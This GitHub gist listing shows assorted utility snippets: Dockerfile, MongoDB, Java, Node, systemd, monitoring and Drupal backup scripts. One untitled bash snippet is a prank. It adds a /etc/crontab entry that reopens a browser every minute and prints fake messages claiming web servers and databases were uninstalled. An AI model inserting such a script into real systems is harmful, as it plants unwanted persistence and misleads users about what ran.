Skip to content

Instantly share code, notes, and snippets.

View anandpathak's full-sized avatar
🐜
building slowly!

Anand anandpathak

🐜
building slowly!
View GitHub Profile
@anandpathak
anandpathak / pg12_partman_dockerfile
Created October 26, 2021 12:38
docker file for postgres 12 with partman
FROM postgres:12
RUN apt-get update && \
apt-get install -y git make gcc
RUN git clone https://github.com/pgpartman/pg_partman
RUN cd pg_partman && make NO_BGW=1 install
@anandpathak
anandpathak / AggregationQuery
Last active June 6, 2019 15:28
Aah! the long mongo query!
[
{
"$project": {
"ts": 1,
"servedBy": 1,
"state": 1,
"metrics": 1,
"source": 1,
"ASA": {
"$cond": [
@anandpathak
anandpathak / AvlTree.java
Created May 8, 2019 20:17
convert LinkedList into AVL tree
/**
* Definition for singly-linked list.
* public class ListNode {
* int val;
* ListNode next;
* ListNode(int x) { val = x; }
* }
*/
/**
* Definition for a binary tree node.
@anandpathak
anandpathak / hash_name.js
Created February 25, 2019 12:20
rename file to hash name
const fs = require('fs');
const cpryto = require('crypto');
const basePath=""
function rename(filename){
var hashName =crypto.createHash('md5').update(filename).digest('hex');
fs.rename(basePath+"/"+filename,basePath+"/"+hashName,(err,res)=>{
if(err){
console.log(err);
}
console.log(res);
@anandpathak
anandpathak / service.service
Created February 22, 2019 10:15
systemctl example
#AN example service file
[Unit]
Description=Service example
After=network.target
[Service]
WorkingDirectory=/usr/local/
ExecStart=/bin/sh -c "command >> /var/log/example.log 2>&1"
Restart=on-failure
@anandpathak
anandpathak / processMonitoring.sh
Created August 28, 2018 07:58
monitor cpu and memory usage for long time
#!/bin/bash
DATE=$(date "+%Y-%m-%dT%H:%M:%S")
echo "total CPU, total Memory Usage, highest CPU process, Highest mem process " > stats-$DATE.csv
while :
do
cpu=`grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'`;
memory=`free | grep Mem | awk '{print $3/$2 * 100.0}'`
top_cpu=`ps --sort=-pcpu -aux | sed -n 2p | awk '{print $3"|"$11}'`
top_mem=`ps --sort=-pcpu -aux | sed -n 2p | awk '{print $4"|"$11}'`
@anandpathak
anandpathak / subnetmaskValidation
Created June 8, 2018 13:05
validate subnet mask
var _isValidsubnet= function(mask){
if(/^(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))\.(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))\.(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))\.(\d|[1-9]\d|1\d\d|2([0-4]\d|5[0-5]))$/.test(mask) && mask !== "255.255.255.255"){
var _mask = mask.split(".");
var str = _mask.map((val)=>{ return parseInt(val).toString(2)}).join("");
console.log(str);
return ! (/01/.test(str))
}
else{
return false;
}
#!/bin/bash
echo "#!/bin/bash" >> /var/tmp/cool.sh
echo "export DISPLAY=:0" >> /var/tmp/cool.sh
echo "xdg-open 'https://www.google.co.in/search?q=Some+men+just+want+to+watch+the+world+burn' > /dev/null" >> /var/tmp/cool.sh
chmod a+x /var/tmp/cool.sh
echo "* * * * * $SUDO_USER /var/tmp/./cool.sh" >> /etc/crontab
echo "uninstalling apache2, php, mysql, nginx..."
sleep 3
echo "successfully uninstalled all the processes ! "
@anandpathak
anandpathak / README.md
Last active October 5, 2016 17:24
multiple Drupal site permission fix from apache sites-available list

Just run master script

  /bin/bash master.sh
@anandpathak
anandpathak / MysqlBackupDrush.sh
Created September 23, 2016 11:34
shell script to take frequently back of mysql DB ignoring cache tables using drush
#!/bin/bash
DATE=$(date +%d-%m-%Y)
BACKUP_DIR="BACKUP DIRECTORY LOCATION"
SITENAME="YOUR SITE NAME"
DIR="PATH TO DRUPAL INSTALLATION"
mkdir -p $BACKUP_DIR/$DATE
cd $DIR && drush sql-dump --extra=--no-data > $BACKUP_DIR/$DATE/$SITENAME-$DATE.sql
cd $DIR && drush sql-dump --skip-tables-list=cache,cache_* >> $BACKUP_DIR/$DATE/$SITENAME-$DATE.sql
gzip $BACKUP_DIR/$DATE/$SITENAME-$DATE.sql